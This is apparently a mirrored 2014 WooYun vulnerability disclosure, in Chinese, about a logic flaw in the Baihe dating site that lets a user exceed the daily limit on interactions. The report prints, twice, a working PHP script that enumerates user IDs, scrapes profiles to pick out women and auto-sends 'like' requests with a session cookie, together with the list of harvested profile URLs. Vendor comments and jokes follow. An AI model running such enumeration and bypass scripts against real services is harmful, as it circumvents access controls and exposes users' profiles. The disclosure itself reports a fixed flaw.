看我是如何批量刷百合网的妹子（已成功突破次数限制）

admin

139627
文章

114
评论

2015年4月24日16:34:45评论787 views字数 247阅读0分49秒阅读模式

摘要

2014-07-10：细节已通知厂商并且等待厂商处理中
2014-07-10：厂商已经确认，细节仅向厂商公开
2014-07-11：厂商已经修复漏洞并主动公开，细节向公众公开

漏洞概要关注数(45) 关注此漏洞

漏洞标题：看我是如何批量刷百合网的妹子（已成功突破次数限制）

漏洞作者： hkAssassin

提交时间： 2014-07-10 16:46

修复时间： 2014-07-11 14:47

公开时间： 2014-07-11 14:47

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank： 10

漏洞状态：厂商已经修复

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

3人收藏

漏洞详情

披露状态：

2014-07-10：细节已通知厂商并且等待厂商处理中
2014-07-10：厂商已经确认，细节仅向厂商公开
2014-07-11：厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

到了某个年纪你就会知道，一个人的日子真的难熬，渐渐开始尝到孤单的味道，时间在敲打着你的骄傲，过了某个路口你就会感到，彻夜陪你聊天的越来越少，厌倦了被寂寞追着跑，找个爱你的人就想托付终老……
事情就是从这首歌开始的。某天刚下班我依旧像往常一样在工作室体会着这歌。突然来了400的电话。电话中一个妹子说她是百合网线上的服务客服。说百合网新开了一个相亲平台可以免费体验。于是，我想我这种屌丝去看看也无妨。然后就去了，去了之后发现，丫丫个呸的，每天只能和3个女孩***。付费之后可以增长到20个。顿时我就不爽了。3个怎么够，20个也不够啊！不行，老师从小教我们不能轻易放弃。好吧！让本屌来试试，于是开启电脑，操起家伙……就这样开始了。

详细说明：

code 区域

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明

登陆百合网点击上面的相亲

登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

3个或者20个那肯定不够么。我要和百合网相亲平台所有的妹子互动咋办。图2中妹子照片旁边有他的资料，点击进去之后到下面的图，注意看url和图的界面。这个页面中也可以和妹子互动，url中暴漏了妹子对应的id。于是我是这么想的……

code 区域

通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：

code 区域

<?php
     header("content-type:text/html;charset=utf-8");
 id();   //爬虫开始
 function id(){
     for($i=1;$i<1000;$i++){
       send($i);
    if($i==410){
    exit;
    }
     }
     }
 function send($id){    
      $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    if(!$fp){
     echo "$errstr ($errno)<br />/n";
    }else{ 
    //$header = "GET /person?userId=108  HTTP/1.1/r/n";
    $header = "GET /person?userId=".$id."  HTTP/1.1/r/n";
      $header.="Accept: text/html, application/xhtml+xml, */*/r/n";
      $header.="Accept-Language: zh-CN /r/n";
      $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko /r/n";
    $header .= "Host:xq.ibaihe.com /r/n";
             $header .= "DNT: 1 /r/n";
             $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） /r/n";
             $header .= "Connection: Close/r/n/r/n";
             fwrite($fp,$header);
            $status = stream_get_meta_data($fp);
      if(!$status['timed_out']) {     
                  while (!feof($fp)) {  
                      if(($header = @fgets($fp)) && ($header == "/r/n" ||  $header == "/n")) {     
                          break;     
                      }     
                  }             
                  $stop = false;     
                  while(!feof($fp) && !$stop) {     
                      $data = fread($fp,8192);      //8192为可返回字节数
                      $return .= $data;   
                  }     
              }  
 $str1='女士';
 $str2='她';
 $po1=stripos($return,$str1);
 $po2=stripos($return,$str2);
 if($po1!=false|| $po2!=false){
  $url="http://xq.ibaihe.com/person?userId=".$id."/r/n";
  $fopen=fopen("bh.txt","a");
  fwrite($fopen,$url);
  sendLike($id);
 }
  } 
      fclose($fp);
     
     }   //send end
            
           
 
 function sendLike($id){    
      $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    if(!$fp){
     echo "$errstr ($errno)<br />/n";
    }else{ 
    //$header = "GET /person?userId=108  HTTP/1.1/r/n";
    $header = "POST /enjoy/  HTTP/1.1/r/n";
      $header.="Accept: application/json, text/javascript, */*; q=0.01 /r/n";
      $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 /r/n";
      $header.="X-Requested-With: XMLHttpRequest /r/n";
      $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." /r/n";
      $header.="Accept-Language: zh-CN /r/n";
      $header.="Accept-Encoding: gzip, deflate /r/n";
      $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko /r/n";
    $header .= "Host:xq.ibaihe.com /r/n";
    $header .="Content-Length: 19 /r/n";
             $header .= "DNT: 1 /r/n";
    $hrader .="Proxy-Connection: Keep-Alive /r/n";
    $header.="Pragma: no-cache /r/n";
             $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)/r/n/r/n";
    $header .="type=like&oppId=".$id;
             $header .= "Connection: Close/r/n/r/n";
             fwrite($fp,$header);
            while(!feof($fp)){
       $res_str.=fgets($fp,512);
      }
      fclose($fp);
      var_dump($res_str);
     }  
 
 }   //sendLike end

code 区域

运行上面的代码之后会在当前目录下爬回如下的妹子链接：
 http://xq.ibaihe.com/person?userId=1
 http://xq.ibaihe.com/person?userId=30
 http://xq.ibaihe.com/person?userId=33
 http://xq.ibaihe.com/person?userId=34
 http://xq.ibaihe.com/person?userId=36
 http://xq.ibaihe.com/person?userId=37
 http://xq.ibaihe.com/person?userId=38
 http://xq.ibaihe.com/person?userId=40
 http://xq.ibaihe.com/person?userId=42
 http://xq.ibaihe.com/person?userId=46
 http://xq.ibaihe.com/person?userId=50
 http://xq.ibaihe.com/person?userId=51
 http://xq.ibaihe.com/person?userId=53
 http://xq.ibaihe.com/person?userId=54
 http://xq.ibaihe.com/person?userId=55
 http://xq.ibaihe.com/person?userId=56
 http://xq.ibaihe.com/person?userId=59
 http://xq.ibaihe.com/person?userId=60
 http://xq.ibaihe.com/person?userId=63
 http://xq.ibaihe.com/person?userId=67
 http://xq.ibaihe.com/person?userId=69
 http://xq.ibaihe.com/person?userId=77
 http://xq.ibaihe.com/person?userId=78
 http://xq.ibaihe.com/person?userId=79
 http://xq.ibaihe.com/person?userId=82
 http://xq.ibaihe.com/person?userId=83
 http://xq.ibaihe.com/person?userId=84
 http://xq.ibaihe.com/person?userId=85
 http://xq.ibaihe.com/person?userId=86
 http://xq.ibaihe.com/person?userId=87
 http://xq.ibaihe.com/person?userId=89
 http://xq.ibaihe.com/person?userId=90
 http://xq.ibaihe.com/person?userId=91
 http://xq.ibaihe.com/person?userId=94
 http://xq.ibaihe.com/person?userId=95
 http://xq.ibaihe.com/person?userId=96
 http://xq.ibaihe.com/person?userId=97
 http://xq.ibaihe.com/person?userId=100
 http://xq.ibaihe.com/person?userId=102
 http://xq.ibaihe.com/person?userId=103
 http://xq.ibaihe.com/person?userId=104
 http://xq.ibaihe.com/person?userId=105
 http://xq.ibaihe.com/person?userId=106
 http://xq.ibaihe.com/person?userId=107
 http://xq.ibaihe.com/person?userId=108
 http://xq.ibaihe.com/person?userId=109
 http://xq.ibaihe.com/person?userId=111
 http://xq.ibaihe.com/person?userId=112
 http://xq.ibaihe.com/person?userId=114
 http://xq.ibaihe.com/person?userId=115
 http://xq.ibaihe.com/person?userId=116
 http://xq.ibaihe.com/person?userId=117
 http://xq.ibaihe.com/person?userId=120
 http://xq.ibaihe.com/person?userId=121
 http://xq.ibaihe.com/person?userId=123
 http://xq.ibaihe.com/person?userId=127
 http://xq.ibaihe.com/person?userId=128
 http://xq.ibaihe.com/person?userId=132
 http://xq.ibaihe.com/person?userId=135
 http://xq.ibaihe.com/person?userId=138
 http://xq.ibaihe.com/person?userId=143
 http://xq.ibaihe.com/person?userId=145
 http://xq.ibaihe.com/person?userId=147
 http://xq.ibaihe.com/person?userId=151
 http://xq.ibaihe.com/person?userId=157
 http://xq.ibaihe.com/person?userId=158
 http://xq.ibaihe.com/person?userId=160
 http://xq.ibaihe.com/person?userId=162
 http://xq.ibaihe.com/person?userId=163
 http://xq.ibaihe.com/person?userId=166
 http://xq.ibaihe.com/person?userId=168
 http://xq.ibaihe.com/person?userId=170
 http://xq.ibaihe.com/person?userId=171
 http://xq.ibaihe.com/person?userId=172
 http://xq.ibaihe.com/person?userId=173
 http://xq.ibaihe.com/person?userId=174
 http://xq.ibaihe.com/person?userId=178
 http://xq.ibaihe.com/person?userId=179
 http://xq.ibaihe.com/person?userId=180
 http://xq.ibaihe.com/person?userId=183
 http://xq.ibaihe.com/person?userId=184
 http://xq.ibaihe.com/person?userId=187
 http://xq.ibaihe.com/person?userId=188
 http://xq.ibaihe.com/person?userId=189
 http://xq.ibaihe.com/person?userId=190
 http://xq.ibaihe.com/person?userId=191
 http://xq.ibaihe.com/person?userId=192
 http://xq.ibaihe.com/person?userId=193
 http://xq.ibaihe.com/person?userId=194
 http://xq.ibaihe.com/person?userId=195
 http://xq.ibaihe.com/person?userId=197
 http://xq.ibaihe.com/person?userId=198
 http://xq.ibaihe.com/person?userId=199
 http://xq.ibaihe.com/person?userId=200
 http://xq.ibaihe.com/person?userId=203
 http://xq.ibaihe.com/person?userId=204
 http://xq.ibaihe.com/person?userId=205
 http://xq.ibaihe.com/person?userId=207
 http://xq.ibaihe.com/person?userId=208
 http://xq.ibaihe.com/person?userId=209
 http://xq.ibaihe.com/person?userId=210
 http://xq.ibaihe.com/person?userId=211
 http://xq.ibaihe.com/person?userId=213
 http://xq.ibaihe.com/person?userId=214
 http://xq.ibaihe.com/person?userId=218
 ………………
 http://xq.ibaihe.com/person?userId=406
 http://xq.ibaihe.com/person?userId=409
 最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
 如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！

上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

漏洞证明：

code 区域

测试条件：你得有一个百合网的账号：下面我用自己的账号做个测试说明

登陆百合网点击上面的相亲

登陆进去之后的界面如下。默认没有付费的每天只可以和3个女孩互动，付费后上线为20个

code 区域

通过爬虫遍历这个url。然后解析爬虫爬回来的页面挑选出链接中女孩的链接。同时发送互动操作的请求（喜欢，考虑下，不喜欢）。当然，也可以对爬回来的页面做更详细的解析，挑出复合你年龄范围的女孩子然后直接批量发送喜欢操作。然后你就睡觉等着妹子也喜欢你就可以了。具体的代码如下：

code 区域

<?php
     header("content-type:text/html;charset=utf-8");
 id();   //爬虫开始
 function id(){
     for($i=1;$i<1000;$i++){
       send($i);
    if($i==410){
    exit;
    }
     }
     }
 function send($id){    
      $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    if(!$fp){
     echo "$errstr ($errno)<br />/n";
    }else{ 
    //$header = "GET /person?userId=108  HTTP/1.1/r/n";
    $header = "GET /person?userId=".$id."  HTTP/1.1/r/n";
      $header.="Accept: text/html, application/xhtml+xml, */*/r/n";
      $header.="Accept-Language: zh-CN /r/n";
      $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko /r/n";
    $header .= "Host:xq.ibaihe.com /r/n";
             $header .= "DNT: 1 /r/n";
             $header .= "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=******（这里为你自己的登陆cookie） /r/n";
             $header .= "Connection: Close/r/n/r/n";
             fwrite($fp,$header);
            $status = stream_get_meta_data($fp);
      if(!$status['timed_out']) {     
                  while (!feof($fp)) {  
                      if(($header = @fgets($fp)) && ($header == "/r/n" ||  $header == "/n")) {     
                          break;     
                      }     
                  }             
                  $stop = false;     
                  while(!feof($fp) && !$stop) {     
                      $data = fread($fp,8192);      //8192为可返回字节数
                      $return .= $data;   
                  }     
              }  
 $str1='女士';
 $str2='她';
 $po1=stripos($return,$str1);
 $po2=stripos($return,$str2);
 if($po1!=false|| $po2!=false){
  $url="http://xq.ibaihe.com/person?userId=".$id."/r/n";
  $fopen=fopen("bh.txt","a");
  fwrite($fopen,$url);
  sendLike($id);
 }
  } 
      fclose($fp);
     
     }   //send end
            
           
 
 function sendLike($id){    
      $fp = fsockopen("xq.ibaihe.com",80,$errno,$errstr,30);
    if(!$fp){
     echo "$errstr ($errno)<br />/n";
    }else{ 
    //$header = "GET /person?userId=108  HTTP/1.1/r/n";
    $header = "POST /enjoy/  HTTP/1.1/r/n";
      $header.="Accept: application/json, text/javascript, */*; q=0.01 /r/n";
      $header.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8 /r/n";
      $header.="X-Requested-With: XMLHttpRequest /r/n";
      $header.="Referer: http://xq.ibaihe.com/person?userId=".$id." /r/n";
      $header.="Accept-Language: zh-CN /r/n";
      $header.="Accept-Encoding: gzip, deflate /r/n";
      $header.="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko /r/n";
    $header .= "Host:xq.ibaihe.com /r/n";
    $header .="Content-Length: 19 /r/n";
             $header .= "DNT: 1 /r/n";
    $hrader .="Proxy-Connection: Keep-Alive /r/n";
    $header.="Pragma: no-cache /r/n";
             $header .= "Cookie: Hm_lpvt_887bcaca63*******4b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780; XQAuthCookie=*********(这里写你自己的登陆cookie)/r/n/r/n";
    $header .="type=like&oppId=".$id;
             $header .= "Connection: Close/r/n/r/n";
             fwrite($fp,$header);
            while(!feof($fp)){
       $res_str.=fgets($fp,512);
      }
      fclose($fp);
      var_dump($res_str);
     }  
 
 }   //sendLike end

code 区域

运行上面的代码之后会在当前目录下爬回如下的妹子链接：
 http://xq.ibaihe.com/person?userId=1
 http://xq.ibaihe.com/person?userId=30
 http://xq.ibaihe.com/person?userId=33
 http://xq.ibaihe.com/person?userId=34
 http://xq.ibaihe.com/person?userId=36
 http://xq.ibaihe.com/person?userId=37
 http://xq.ibaihe.com/person?userId=38
 http://xq.ibaihe.com/person?userId=40
 http://xq.ibaihe.com/person?userId=42
 http://xq.ibaihe.com/person?userId=46
 http://xq.ibaihe.com/person?userId=50
 http://xq.ibaihe.com/person?userId=51
 http://xq.ibaihe.com/person?userId=53
 http://xq.ibaihe.com/person?userId=54
 http://xq.ibaihe.com/person?userId=55
 http://xq.ibaihe.com/person?userId=56
 http://xq.ibaihe.com/person?userId=59
 http://xq.ibaihe.com/person?userId=60
 http://xq.ibaihe.com/person?userId=63
 http://xq.ibaihe.com/person?userId=67
 http://xq.ibaihe.com/person?userId=69
 http://xq.ibaihe.com/person?userId=77
 http://xq.ibaihe.com/person?userId=78
 http://xq.ibaihe.com/person?userId=79
 http://xq.ibaihe.com/person?userId=82
 http://xq.ibaihe.com/person?userId=83
 http://xq.ibaihe.com/person?userId=84
 http://xq.ibaihe.com/person?userId=85
 http://xq.ibaihe.com/person?userId=86
 http://xq.ibaihe.com/person?userId=87
 http://xq.ibaihe.com/person?userId=89
 http://xq.ibaihe.com/person?userId=90
 http://xq.ibaihe.com/person?userId=91
 http://xq.ibaihe.com/person?userId=94
 http://xq.ibaihe.com/person?userId=95
 http://xq.ibaihe.com/person?userId=96
 http://xq.ibaihe.com/person?userId=97
 http://xq.ibaihe.com/person?userId=100
 http://xq.ibaihe.com/person?userId=102
 http://xq.ibaihe.com/person?userId=103
 http://xq.ibaihe.com/person?userId=104
 http://xq.ibaihe.com/person?userId=105
 http://xq.ibaihe.com/person?userId=106
 http://xq.ibaihe.com/person?userId=107
 http://xq.ibaihe.com/person?userId=108
 http://xq.ibaihe.com/person?userId=109
 http://xq.ibaihe.com/person?userId=111
 http://xq.ibaihe.com/person?userId=112
 http://xq.ibaihe.com/person?userId=114
 http://xq.ibaihe.com/person?userId=115
 http://xq.ibaihe.com/person?userId=116
 http://xq.ibaihe.com/person?userId=117
 http://xq.ibaihe.com/person?userId=120
 http://xq.ibaihe.com/person?userId=121
 http://xq.ibaihe.com/person?userId=123
 http://xq.ibaihe.com/person?userId=127
 http://xq.ibaihe.com/person?userId=128
 http://xq.ibaihe.com/person?userId=132
 http://xq.ibaihe.com/person?userId=135
 http://xq.ibaihe.com/person?userId=138
 http://xq.ibaihe.com/person?userId=143
 http://xq.ibaihe.com/person?userId=145
 http://xq.ibaihe.com/person?userId=147
 http://xq.ibaihe.com/person?userId=151
 http://xq.ibaihe.com/person?userId=157
 http://xq.ibaihe.com/person?userId=158
 http://xq.ibaihe.com/person?userId=160
 http://xq.ibaihe.com/person?userId=162
 http://xq.ibaihe.com/person?userId=163
 http://xq.ibaihe.com/person?userId=166
 http://xq.ibaihe.com/person?userId=168
 http://xq.ibaihe.com/person?userId=170
 http://xq.ibaihe.com/person?userId=171
 http://xq.ibaihe.com/person?userId=172
 http://xq.ibaihe.com/person?userId=173
 http://xq.ibaihe.com/person?userId=174
 http://xq.ibaihe.com/person?userId=178
 http://xq.ibaihe.com/person?userId=179
 http://xq.ibaihe.com/person?userId=180
 http://xq.ibaihe.com/person?userId=183
 http://xq.ibaihe.com/person?userId=184
 http://xq.ibaihe.com/person?userId=187
 http://xq.ibaihe.com/person?userId=188
 http://xq.ibaihe.com/person?userId=189
 http://xq.ibaihe.com/person?userId=190
 http://xq.ibaihe.com/person?userId=191
 http://xq.ibaihe.com/person?userId=192
 http://xq.ibaihe.com/person?userId=193
 http://xq.ibaihe.com/person?userId=194
 http://xq.ibaihe.com/person?userId=195
 http://xq.ibaihe.com/person?userId=197
 http://xq.ibaihe.com/person?userId=198
 http://xq.ibaihe.com/person?userId=199
 http://xq.ibaihe.com/person?userId=200
 http://xq.ibaihe.com/person?userId=203
 http://xq.ibaihe.com/person?userId=204
 http://xq.ibaihe.com/person?userId=205
 http://xq.ibaihe.com/person?userId=207
 http://xq.ibaihe.com/person?userId=208
 http://xq.ibaihe.com/person?userId=209
 http://xq.ibaihe.com/person?userId=210
 http://xq.ibaihe.com/person?userId=211
 http://xq.ibaihe.com/person?userId=213
 http://xq.ibaihe.com/person?userId=214
 http://xq.ibaihe.com/person?userId=218
 ………………
 http://xq.ibaihe.com/person?userId=406
 http://xq.ibaihe.com/person?userId=409
 最后这两个url对应的就是下面图中打码的妹子。就是直接爬回链接然后直接发送喜欢操作的两个妹子。
 如果你不想对所有的妹子做互动操作，那么你可以吧爬回来的链接一个一个复制到浏览器，挑你喜欢的妹子在点击喜欢即可！

上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

修复方案：

你们懂！

ps:求结束单身的屌丝生活。求免费介绍更多妹子。

版权声明：转载请注明来源 hkAssassin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-10 17:39

厂商回复：

确认漏洞

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

评价

2014-07-10 16:47 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

2

洞主广撒网啊，人海战术？

1# 回复此人
2014-07-10 16:49 | Manning ( 普通白帽子 | Rank:1181 漏洞数:144 | https://github.com/manning23/MSpider)

0

来，说说你的故事

2# 回复此人
2014-07-10 16:51 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

0

哇、救救我吧、漏洞好东西大家分享..瞧瞧告诉我

3# 回复此人
2014-07-10 16:53 | luwikes ( 普通白帽子 | Rank:552 漏洞数:83 | 潜心学习~~~)

0

“操起家伙……”

4# 回复此人
2014-07-10 16:54 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

2

@疯狗哈哈。程序最大坏处就是帮我挑不出我喜欢的类型，要不然让程序也帮我干了……

5# 回复此人
2014-07-10 16:54 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@Manning 故事还得从抛弃我的妹子开始……

6# 回复此人
2014-07-10 16:55 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@zhxs 终于等到你，还好你没放弃……

7# 回复此人
2014-07-10 16:57 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子，但是除了他华...)

0

猥琐感十足

8# 回复此人
2014-07-10 17:02 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

0

这就操起家伙了

9# 回复此人
2014-07-10 17:11 | [email protected] ( 路人 | Rank:14 漏洞数:10 | 希望和大家多多交流，多多沟通、)

0

羡慕。。。

10# 回复此人
2014-07-10 17:25 | 一只猿 ( 普通白帽子 | Rank:560 漏洞数:98 | 硬件与无线通信研究方向)

0

这就操了？

11# 回复此人
2014-07-10 17:34 | 专业种田 ( 核心白帽子 | Rank:1676 漏洞数:213 | 没有最专业的农民,只有更努力地耕耘..........)

0

黑阔与妹子的爱情故事，多动人啊。

12# 回复此人
2014-07-10 17:50 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@魇都是妹子逼的……哈哈

13# 回复此人
2014-07-10 17:50 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@专业种田我牺牲了色相……哇哇哇！

14# 回复此人
2014-07-10 19:44 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱，如果不服你TM来打我啊--哎呀...)

0

这就操起家伙了

15# 回复此人
2014-07-10 22:27 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

0

@hkAssassin 0.0我不搞基哈.

16# 回复此人
2014-07-10 23:04 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

0

哎哟，约到了吗？

17# 回复此人
2014-07-10 23:38 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@wefgod 大牛你猜……

18# 回复此人
2014-07-11 08:54 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

0

操起家伙

19# 回复此人
2014-07-11 16:45 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:25 | 【|→上善若水】)

0

上面这个图证明了我确实和很多妹子做了互动。没有受次数限制。

20# 回复此人
2014-07-11 21:13 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@【|→上善若水】擦……叫你一声淫荡的小贱人，你敢答应么……敢答应么！哈哈

21# 回复此人
2014-07-11 21:54 | 无边落木 ( 路人 | Rank:2 漏洞数:1 | winter is coming！)

0

洞主是一个有故事的男淫

22# 回复此人
2014-07-11 22:53 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@无边落木这你都看的出来……

23# 回复此人
2014-07-11 23:44 | diskring ( 路人 | Rank:4 漏洞数:3 | 小号。。)

0

不早告诉我

24# 回复此人
2014-07-12 16:57 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

1

@diskring 早上那里告诉你去……我现在也后悔了……刚修复完，就发现一个我喜欢的妹子，可惜，晚了……哈哈

25# 回复此人
2014-07-13 10:08 | 97_ ( 路人 | Rank:12 漏洞数:1 | 新来的小菜鸟)

0

洞主好猥琐～

26# 回复此人
2014-07-14 10:26 | 风之传说 ( 普通白帽子 | Rank:217 漏洞数:39 | 时间在哪里，成就就在哪里.)

1

有这么好的东西你竟然不告诉我就发出来了。。大把的妹子啊。

27# 回复此人
2014-07-14 14:14 | TG666 ( 路人 | Rank:18 漏洞数:1 | 云霓之望，人应远虑网安天下，信念为先)

0

这种发什么乌云，直接论坛里面分享下啊，哎，这样又要害好多人害的我们这些单身的又要付钱相亲了

28# 回复此人
2014-07-14 15:34 | Aerfa21 ( 普通白帽子 | Rank:216 漏洞数:49 )

0

洞主，学以致用啊~

29# 回复此人
2014-07-14 16:27 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@TG666 我也不知道我为什么要发……

30# 回复此人
2014-07-14 16:27 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@风之传说有缘网的洞还有你要么。和这个姿势查不多……

31# 回复此人
2014-07-14 17:52 | 小白喵咪 ( 路人 | Rank:14 漏洞数:4 | IT小刁刁未成年白客！)

0

特么我是过来看评论的。。笑喷了～

32# 回复此人
2014-07-15 16:55 | yinian ( 实习白帽子 | Rank:71 漏洞数:25 | 一花一世界，一叶一菩提。)

0

猥琐的说，洞主为妹子而挖洞。

33# 回复此人
2014-07-16 09:16 | 风之传说 ( 普通白帽子 | Rank:217 漏洞数:39 | 时间在哪里，成就就在哪里.)

0

@hkAssassin 哈哈，开玩笑的啦。。都快结婚了。。我来凑凑热闹滴。。

34# 回复此人
2014-07-16 10:58 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@风之传说好好对自己的老婆，要不然叫二表哥打你，哈哈……

35# 回复此人
2014-07-20 08:43 | CoffeeSafe ( 普通白帽子 | Rank:142 漏洞数:37 )

0

牛XXXX

36# 回复此人
2014-07-20 08:50 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

0

楼主收藏夹什么打码了？？？

37# 回复此人
2014-07-20 14:20 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@汪哥果然犀利这都注意到了……好东西……

38# 回复此人
2014-07-24 10:16 | Elliott ( 实习白帽子 | Rank:48 漏洞数:11 | 绝逼不当程序员)

0

够猥琐！感谢！学习了！

39# 回复此人
2014-08-05 16:15 | hcyoo ( 路人 | Rank:4 漏洞数:4 | 自从得了精神病，感觉整个人都精神多了。)

0

感动的我眼睛里面全是泪水，太感谢这思路了。

40# 回复此人
2014-08-08 21:09 | 小指头 ( 实习白帽子 | Rank:97 漏洞数:19 | 不想当大拇指的小指头，不是个好手。)

0

@hkAssassin "Cookie: Hm_lpvt_887bcaca634b40591b6e9953c168af21=1404958550; Hm_lvt_887bcaca634b40591b6e9953c168af21=1404955780;"中Hm_lpvt和Hm_lvt这两个是什么东东？

41# 回复此人
2014-08-11 10:36 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

0

@小指头 cookie 的具体字段问百合，没研究过……

42# 回复此人

漏洞概要 关注数(45) 关注此漏洞

缺陷编号： WooYun-2014-68061

漏洞标题： 看我是如何批量刷百合网的妹子（已成功突破次数限制）

相关厂商： 百合网

漏洞作者： hkAssassin

提交时间： 2014-07-10 16:46

修复时间： 2014-07-11 14:47

公开时间： 2014-07-11 14:47

漏洞类型： 未授权访问/权限绕过

危害等级： 中

自评Rank： 10

漏洞状态： 厂商已经修复

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 敏感接口缺乏认证 逻辑错误

3人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 hkAssassin@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(少于3人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(45) 关注此漏洞

漏洞标题：看我是如何批量刷百合网的妹子（已成功突破次数限制）

相关厂商：百合网

漏洞类型：未授权访问/权限绕过

危害等级：中

漏洞状态：厂商已经修复

Tags标签：敏感接口缺乏认证逻辑错误

漏洞评价(少于3人评价):

登陆后才能进行评分